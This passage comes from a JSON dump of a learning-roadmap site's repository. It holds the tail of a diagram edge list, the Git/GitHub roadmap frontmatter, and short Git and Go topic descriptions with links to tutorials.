\"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AmetdCURXXob5TUsikAab\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"PUnYNBrAZWoZiopjtNgnA\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-AmetdCURXXob5TUsikAabw2-PUnYNBrAZWoZiopjtNgnAx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q7BSE-ueezjXkYluzMecJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hru0sL1-D4bJSQI1efEyU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-hru0sL1-D4bJSQI1efEyUz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q7BSE-ueezjXkYluzMecJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ExXuwTQSI_lg4SRGW3Iu1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-ExXuwTQSI_lg4SRGW3Iu1z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q7BSE-ueezjXkYluzMecJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4dxVN81rXWn6VZqK99yq0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-4dxVN81rXWn6VZqK99yq0z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q7BSE-ueezjXkYluzMecJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CGj_UX5JMOOCKinedsNRc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-CGj_UX5JMOOCKinedsNRcz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q7BSE-ueezjXkYluzMecJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zdunaucVe8J1tKf_z-NQo\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-zdunaucVe8J1tKf_z-NQoz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xK8mSkkxTABUZV9zZjDPH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NV2HAXLEN7tskfgyFrbaf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-5Oax1p7zIZ9HD2hmENPofz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NV2HAXLEN7tskfgyFrbaf\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"KlXPt-K6br8PtpLgELaCj\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5Oax1p7zIZ9HD2hmENPofw2-KlXPt-K6br8PtpLgELaCjx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5Oax1p7zIZ9HD2hmENPof\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"qrdOARfqGPF9xhF6snbAn\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5Oax1p7zIZ9HD2hmENPofw2-qrdOARfqGPF9xhF6snbAnx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NV2HAXLEN7tskfgyFrbaf\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5Oax1p7zIZ9HD2hmENPof\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-MoG7D9kqPuA6o52-z_WDNy2-5Oax1p7zIZ9HD2hmENPofz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xK8mSkkxTABUZV9zZjDPH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"MoG7D9kqPuA6o52-z_WDN\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygz2-MoG7D9kqPuA6o52-z_WDNy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RvqrjCowu0YK5QWK2ZVyg\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bnai6R6pOq_L5CPdbVwMW\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygz2-bnai6R6pOq_L5CPdbVwMWy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pFyMiyNQ16-kP7jKaKKEU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XRSVRl6iHncMmgSXoB7Lq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-pFyMiyNQ16-kP7jKaKKEUx2-XRSVRl6iHncMmgSXoB7Lqw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RvqrjCowu0YK5QWK2ZVyg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"M2_hBvXou7cCNqsMnexCt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-M2_hBvXou7cCNqsMnexCtz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RvqrjCowu0YK5QWK2ZVyg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"rqPCHh25xX_ROMr-ULpaw\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-rqPCHh25xX_ROMr-ULpawz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RvqrjCowu0YK5QWK2ZVyg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NdfwgwMOewiyEAFyC2l7U\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-NdfwgwMOewiyEAFyC2l7Uz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RvqrjCowu0YK5QWK2ZVyg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"f2PG4t6iVtfIH8BVe5H7f\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RvqrjCowu0YK5QWK2ZVygy2-f2PG4t6iVtfIH8BVe5H7fz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wBKp8Q5D6WhjVVsD89UHl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wBKp8Q5D6WhjVVsD89UHlx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"D2WIExwfSnkAPIa5O-Hp5\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Ddkss13_qDJTquDHbVTVs\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-D2WIExwfSnkAPIa5O-Hp5w2-Ddkss13_qDJTquDHbVTVsx1\",\n      \"selected\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/git-github/git-github.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/git-github.json'\npdfUrl: '/pdfs/roadmaps/git-github.pdf'\nrenderer: 'editor'\norder: 19\nbriefTitle: 'Git and GitHub'\nbriefDescription: 'Step by step guide to learn Git and GitHub in 2025'\ntitle: 'Learn Git and GitHub'\ndescription: 'Step by step guide to learn Git and GitHub in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 3330\nschema:\n  headline: 'Learn Git and GitHub'\n  description: 'Learn about Git and GitHub with this interactive step by step guide in 2023. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/git-github.png'\n  datePublished: '2024-08-12'\n  dateModified: '2024-08-12'\nseo:\n  title: 'Learn Git and GitHub'\n  description: 'Learn about Git and GitHub using this roadmap. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'learn git and github 2025'\n    - 'git roadmap'\n    - 'github roadmap'\n    - 'git roadmap 2025'\n    - 'github roadmap 2025'\n    - 'learn github'\n    - 'github tutorial'\n    - 'git for beginners'\n    - 'version control'\n    - 'git commands'\n    - 'git vcs roadmap'\n    - 'github features'\n    - 'pull requests'\n    - 'github actions'\n    - 'open source github roadmap'\n    - 'become a git expert'\n    - 'github developer career path'\n    - 'how to use git and github'\n    - 'git github roadmap 2025'\nrelatedRoadmaps:\n  - 'computer-science'\n  - 'frontend'\n  - 'backend'\n  - 'devops'\n  - 'linux'\n  - 'full-stack'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/git-github-beginner/content/basic-git-usage@PtU5Qwfzn3N1i3oRlCGoR.md",
    "content": "# Basic Git Usage\n\nYou must master the fundamental commands you'll use every day to manage your project's code. These commands allow you to track changes, save snapshots of your work, and collaborate with others. They include initializing a repository, adding files to be tracked, committing changes with messages, viewing the history of changes, and checking the status of your working directory.\n\nVisit the following resources to learn more:\n\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=vA5TTz6BXhY)"
  },
  {
    "path": "src/data/roadmaps/git-github-beginner/content/collaboration@bXfCUG3h1TIFPgD4WUDph.md",
    "content": "# Collaboration\n\nCollaboration in Git and GitHub refers to the process of multiple people working together on the same project, managing changes, and integrating their contributions seamlessly.  It involves using Git's branching and merging capabilities, along with GitHub's pull request workflow, to coordinate efforts, review code, and ultimately build a cohesive and functional project."
  },
  {
    "path": "src/data/roadmaps/git-github-beginner/content/dummy",
    "content": "\n"
  },
  {
    "path": "src/data/roadmaps/git-github-beginner/content/learn-the-basics@HlUUGj3dOZ68t4gIjerXh.md",
    "content": "# Learn the Basics\n\nGit is like a save button for your code, allowing you to track changes, revert to previous versions, and collaborate with others without overwriting each other's work. GitHub, on the other hand, is a website and platform that provides hosting for your Git repositories (projects), making it easy to share, manage, and collaborate on code with others remotely.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git](https://git-scm.com/)\n- [@official@GitHub](https://github.com)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=vA5TTz6BXhY)"
  },
  {
    "path": "src/data/roadmaps/git-github-beginner/content/more-git@aZMVz6kc52vLGcZFD9Dgh.md",
    "content": "# More Git\n\nBeyond the basics of tracking changes and collaborating, Git offers a range of powerful features for managing complex projects. These features allow you to streamline your workflow, experiment safely with new ideas, and maintain a clean and organized project history. Exploring these more advanced aspects of Git can significantly enhance your development process."
  },
  {
    "path": "src/data/roadmaps/git-github-beginner/content/more-github@sti_TAgZvSpuFWtygAsKc.md",
    "content": "# More GitHub\n\nGitHub isn't just about storing code; it's a collaborative platform. It offers features beyond basic version control, such as project management tools like issue tracking, where you can report bugs and suggest new features. You can also use GitHub's collaboration features, like pull requests, to propose changes to a project, fostering community involvement and code review."
  },
  {
    "path": "src/data/roadmaps/golang/content/advanced-topics@expert-level.md",
    "content": "# Advanced Topics\n\nAdvanced Go topics include memory management, escape analysis, reflection, unsafe operations, CGO, and performance optimization. These sophisticated features enable building high-performance systems and solving specialized problems requiring deep language knowledge. While not needed for typical development, mastering these topics helps leverage Go's full capabilities.\n\nVisit the following resources to learn more:\n\n- [@article@Advanced GoLang Concepts: Channels, Context, and Interfaces](https://medium.com/@wambuirebeka/advanced-golang-concepts-channels-context-and-interfaces-dc3b71cd0ed8)\n- [@article@Advanced Golang - Mastering Backend](https://masteringbackend.com/hubs/backend-engineering/advanced-golang)"
  },
  {
    "path": "src/data/roadmaps/golang/content/anonymous-functions@cEQ9NQX7ZkKLwz_hg9L_7.md",
    "content": "# Anonymous Functions\n\nFunctions declared without names, also called function literals or lambdas. Can be assigned to variables, passed as arguments, or executed immediately. Useful for short operations, callbacks, goroutines, and closures. Access enclosing scope variables. Common in event handlers and functional patterns.\n\nVisit the following resources to learn more:\n\n- [@article@Anonymous Functions](https://golangdocs.com/anonymous-functions-in-golang)\n- [@article@Understanding Anonymous Functions in Go: A Practical Guide](https://dev.to/abstractmusa/understanding-anonymous-functions-in-go-a-practical-guide-57hd)"
  },
  {
    "path": "src/data/roadmaps/golang/content/array-to-slice-conversion@s1E4PQVVSlBeyNn7xBikW.md",
    "content": "# Array to Slice Conversion\n\nConvert arrays to slices using expressions like `array[:]` or `array[start:end]`. Creates slice header pointing to array memory - no data copying. Modifications through slice affect original array. Efficient way to use arrays with slice-based APIs.\n\nVisit the following resources to learn more:\n\n- [@article@Slice Arrays Correctly](https://labex.io/tutorials/go-how-to-slice-arrays-correctly-418936)\n- [@article@Go - Create Slice From Array - 3 Examples](https://www.tutorialkart.com/golang-tutorial/golang-create-slice-from-array/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/arrays@Eu8JV-_W-P_bCx_PglIW0.md",
    "content": "# Arrays\n\nFixed-size sequences of same-type elements. Size is part of the type, so different sizes are different types. Declared with specific length, initialized to zero values. Value types (copied when assigned/passed). Slices are more commonly used due to flexibility. Foundation for understanding Go's type system.\n\nVisit the following resources to learn more:\n\n- [@official@Arrays](https://go.dev/tour/moretypes/6)\n- [@article@A Complete Guide to Arrays in Golang](https://www.kelche.co/blog/go/golang-arrays/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/beego@p7yeYkbQKAjr2aA_eUno4.md",
    "content": "# beego\n\nBeego is a full-stack web framework providing MVC architecture, ORM, session management, caching, and admin interface generation. Follows convention over configuration with extensive tooling for rapid development of enterprise applications requiring comprehensive features.\n\nVisit the following resources to learn more:\n\n- [@official@Arrays](https://go.dev/tour/moretypes/6)\n- [@official@beego package](https://pkg.go.dev/github.com/beego/beego)\n- [@opensource@beego/beego](https://github.com/beego/beego)\n- [@article@Exploring Golang and Beego: A Beginner's Guide with Examples](https://medium.com/@vijeshomen/exploring-golang-and-beego-a-beginners-guide-with-examples-part-1-79619f0db1ac)"
  },
  {
    "path": "src/data/roadmaps/golang/content/benchmarks@t9xOuLBrAzEvv2-bOU2hF.md",
    "content": "# Benchmarks\n\nBenchmarks measure code performance by timing repeated executions. Functions start with `Benchmark` and use `*testing.B` parameter. Run with `go test -bench=.` to identify bottlenecks, compare implementations, and track performance changes over time.\n\nVisit the following resources to learn more:\n\n- [@official@Add a Test](https://go.dev/doc/tutorial/add-a-test)\n- [@article@Benchmarking in Go: A Comprehensive Handbook](https://betterstack.com/community/guides/scaling-go/golang-benchmarking/)\n- [@article@Benchmarking in Golang: Improving Function Performance](https://blog.logrocket.com/benchmarking-golang-improve-function-performance/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/boolean@PRTou83_rD0u7p2elGG4s.md",
    "content": "# Boolean\n\nThe `bool` type represents `true` or `false` values with default zero value of `false`. Essential for conditional logic, control flow, and binary states. Results from comparison (`==`, `!=`) and logical operations (`&&`, `||`, `!`).\n\nVisit the following resources to learn more:\n\n- [@article@Booleans in Golang](https://golangdocs.com/booleans-in-golang)\n- [@article@Understanding Boolean Logic in Go](https://www.digitalocean.com/community/tutorials/understanding-boolean-logic-in-go)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/break@IWdAJ1BXqJv8EMYvFWRaH.md",
    "content": "# break\n\nImmediately exits innermost loop or switch statement. In nested loops, only exits immediate loop unless used with labels to break outer loops. Essential for early termination when conditions are met. Helps write efficient loops that don't continue unnecessarily.\n\nVisit the following resources to learn more:\n\n- [@article@Using Break and Continue Statements When Working with Loop](https://www.digitalocean.com/community/tutorials/using-break-and-continue-statements-when-working-with-loops-in-go)\n- [@article@Demystifying the Break and Continue Statements in Golang](https://medium.com/@kiruu1238/break-continue-bc35e9f3802d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/bubbletea@x9hDkF73rmvbewrgRgyOv.md",
    "content": "# bubbletea\n\nBubble Tea is a framework for building terminal UIs based on The Elm Architecture. Uses model-update-view pattern for interactive CLI applications with keyboard input, styling, and component composition. Excellent for sophisticated terminal tools and dashboards.\n\nVisit the following resources to learn more:\n\n- [@opensource@charmbracelet/bubbletea](https://github.com/charmbracelet/bubbletea)\n- [@article@Building UI of Golang CLI app with Bubble Tea](https://medium.com/@originalrad50/building-ui-of-golang-cli-app-with-bubble-tea-68b61e25445e)\n- [@article@Intro to Bubble Tea in Go](https://dev.to/andyhaskell/intro-to-bubble-tea-in-go-21lg)"
  },
  {
    "path": "src/data/roadmaps/golang/content/buffered-vs-unbuffered@4_nvU_YOs9Psey5TZLQFb.md",
    "content": "# Buffered vs Unbuffered\n\nUnbuffered channels provide synchronous communication - sender blocks until receiver ready. Buffered channels allow asynchronous communication up to capacity. Unbuffered for coordination/sequencing, buffered for performance/decoupling. Critical distinction for concurrent system design.\n\nVisit the following resources to learn more:\n\n- [@article@Advanced Insights into Go Channels](https://medium.com/@aditimishra_541/advanced-insights-into-go-channels-unbuffered-and-buffered-channels-d76d705bcc24)\n- [@article@Buffered vs Unbuffered Channels in Golang](https://dev.to/akshitzatakia/buffered-vs-unbuffered-channels-in-golang-a-developers-guide-to-concurrency-3m75)"
  },
  {
    "path": "src/data/roadmaps/golang/content/bufio@Z8j6Zkg1LYEYcoRgs23Ms.md",
    "content": "# bufio\n\nProvides buffered I/O operations wrapping io.Reader/Writer interfaces for better performance. Reduces system calls by reading/writing larger chunks. Includes Scanner for line reading, Reader for buffered reading, Writer for buffered writing. Essential for efficient large file/network operations.\n\nVisit the following resources to learn more:\n\n- [@official@Bufio](https://go.dev/src/bufio/bufio.go)\n- [@official@Bufio Package](https://pkg.go.dev/bufio)\n- [@article@Go Fast with bufio: Unlocking the Power of Buffered I/O](https://medium.com/@emusbeny/mastering-bufio-in-go-the-art-of-buffered-i-o-17cae584ee4b)"
  },
  {
    "path": "src/data/roadmaps/golang/content/build-constraints--tags@zmBYvecc5zSoLCinH68gc.md",
    "content": "# Build Constraints & Tags\n\nSpecial comments controlling which files are included when building. Use `//go:build` directive for platform-specific code, environment builds, or feature toggles. Common for different OS/architectures or debug vs production builds. Essential for portable Go applications.\n\nVisit the following resources to learn more:\n\n- [@official@Build Package](https://pkg.go.dev/go/build)\n- [@article@Advanced Go Build Techniques](https://dev.to/jacktt/go-build-in-advance-4o8n)\n- [@article@Customizing Go Binaries with Build Tags](https://www.digitalocean.com/community/tutorials/customizing-go-binaries-with-build-tags)"
  },
  {
    "path": "src/data/roadmaps/golang/content/build-tags@Jxt4HD2iA6lRXNRJIVCLs.md",
    "content": "# Build Tags\n\nBuild tags control file inclusion using `//go:build` directives based on conditions like OS, architecture, or custom tags. Enable conditional compilation for platform-specific code, feature flags, and environment-specific builds without runtime overhead.\n\nVisit the following resources to learn more:\n\n- [@official@Build Package](https://pkg.go.dev/go/build)\n- [@article@Advanced Go Build Techniques](https://dev.to/jacktt/go-build-in-advance-4o8n)\n- [@article@Customizing Go Binaries with Build Tags](https://www.digitalocean.com/community/tutorials/customizing-go-binaries-with-build-tags)"
  },
  {
    "path": "src/data/roadmaps/golang/content/building-clis@2fk1ewM42WnFlDejVETys.md",
    "content": "# Building CLIs\n\nGo excels at CLI development due to fast compilation, single binary distribution, and rich ecosystem. Use standard `flag` package or frameworks like Cobra, urfave/cli, Bubble Tea. Cross-compilation support for multiple platforms. Great for learning Go while building useful tools.\n\nVisit the following resources to learn more:\n\n- [@official@Command-line Interfaces (CLIs)](https://go.dev/solutions/clis)\n- [@article@Building a Command Line Interface (CLI) tool in Golang](https://medium.com/@mgm06bm/building-a-command-line-interface-cli-tool-in-golang-a-step-by-step-guide-44a7aad488e4)\n- [@article@Building a feature rich Command Line Interface (CLI) in GO](https://blog.stackademic.com/building-a-feature-rich-command-line-interface-cli-in-go-42a127b090c8)"
  },
  {
    "path": "src/data/roadmaps/golang/content/building-executables@zCUmPIGVslLfECqfUgAr2.md",
    "content": "# Building Executables\n\nThe `go build` command compiles source code into standalone native executables with static linking. Creates self-contained binaries including all dependencies, requiring no Go installation on target systems. Control builds with various optimization flags.\n\nVisit the following resources to learn more:\n\n- [@official@Build Package](https://pkg.go.dev/go/build)\n- [@official@Compile and Install Application](https://go.dev/doc/tutorial/compile-install)\n- [@article@Advanced Go Build Techniques](https://dev.to/jacktt/go-build-in-advance-4o8n)\n- [@article@Customizing Go Binaries with Build Tags](https://www.digitalocean.com/community/tutorials/customizing-go-binaries-with-build-tags)\n- [@article@How To Build and Install Go Programs](https://www.digitalocean.com/community/tutorials/how-to-build-and-install-go-programs)"
  },
  {
    "path": "src/data/roadmaps/golang/content/call-by-value@z8-8nt-3GA7uN-cvOI-Qn.md",
    "content": "# Call by Value\n\nGo creates copies of values when passing to functions, not references to originals. Applies to all types including structs and arrays. Provides safety but can be expensive for large data. Use pointers, slices, maps for references. Critical for performance optimization.\n\nVisit the following resources to learn more:\n\n- [@article@Golang Call by Reference and Call by Value](https://www.scaler.com/topics/golang/golang-call-by-reference-and-call-by-value)\n- [@article@Go Call by Value](https://www.includehelp.com/golang/go-call-by-value.aspx)\n- [@article@Parameter Passing in Golang: The Ultimate Truth](https://dev.to/mahdifardi/parameter-passing-in-golang-the-ultimate-truth-1h0o)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/capacity-and-growth@qUykEUH1-9Dzotc_ltV3g.md",
    "content": "# Capacity and Growth\n\nSlice capacity determines when reallocation occurs during append operations. Go typically doubles capacity for smaller slices. Pre-allocate with `make([]T, length, capacity)` to optimize memory usage and minimize allocations in performance-critical code.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Go's Slice Data Structure and Its Growth Pattern](https://medium.com/@arjun.devb25/understanding-gos-slice-data-structure-and-its-growth-pattern-48fe6dd914b4)\n- [@article@How to Increase Slice Capacity in Go](https://thekoreanguy.medium.com/how-does-the-capacity-change-when-you-append-to-a-slice-in-go-46289dad4730)\n- [@article@How to Manage Slice Length and Capacity](https://labex.io/tutorials/go-how-to-manage-slice-length-and-capacity-418932)"
  },
  {
    "path": "src/data/roadmaps/golang/content/centrifugo@LOl-7BtdmYrBS0PTtHI1I.md",
    "content": "# Centrifugo\n\nCentrifugo is a real-time messaging server providing WebSocket services for Go applications. It offers channels, presence info, message history, and Redis scalability. Supports WebSocket, Server-Sent Events, and HTTP streaming while handling complex real-time patterns.\n\nVisit the following resources to learn more:\n\n- [@official@Centrifugo](https://centrifugal.dev/)\n- [@official@Getting Started with Centrifugo](https://centrifugal.dev/docs/getting-started/introduction)\n- [@opensource@centrifugal/centrifuge](https://github.com/centrifugal/centrifuge)"
  },
  {
    "path": "src/data/roadmaps/golang/content/cgo-basics@mxbs96wFJ5XGDoETA0fU_.md",
    "content": "# CGO Basics\n\nCGO allows Go programs to call C code and vice versa using special comments. Enables C library integration but disables cross-compilation, reduces performance, and complicates deployment. Useful for legacy integration but pure Go is preferred.\n\nVisit the following resources to learn more:\n\n- [@official@CGO](https://go.dev/wiki/cgo)\n- [@article@Understand How to use C libraries in Go with CGO](https://dev.to/metal3d/understand-how-to-use-c-libraries-in-go-with-cgo-3dbn)\n- [@article@Calling C Functions from Go: A Quick Guide](https://www.codingexplorations.com/blog/calling-c-functions-from-go-a-quick-guide)"
  },
  {
    "path": "src/data/roadmaps/golang/content/channels@EgXagvLpJkXUI2od5K1FD.md",
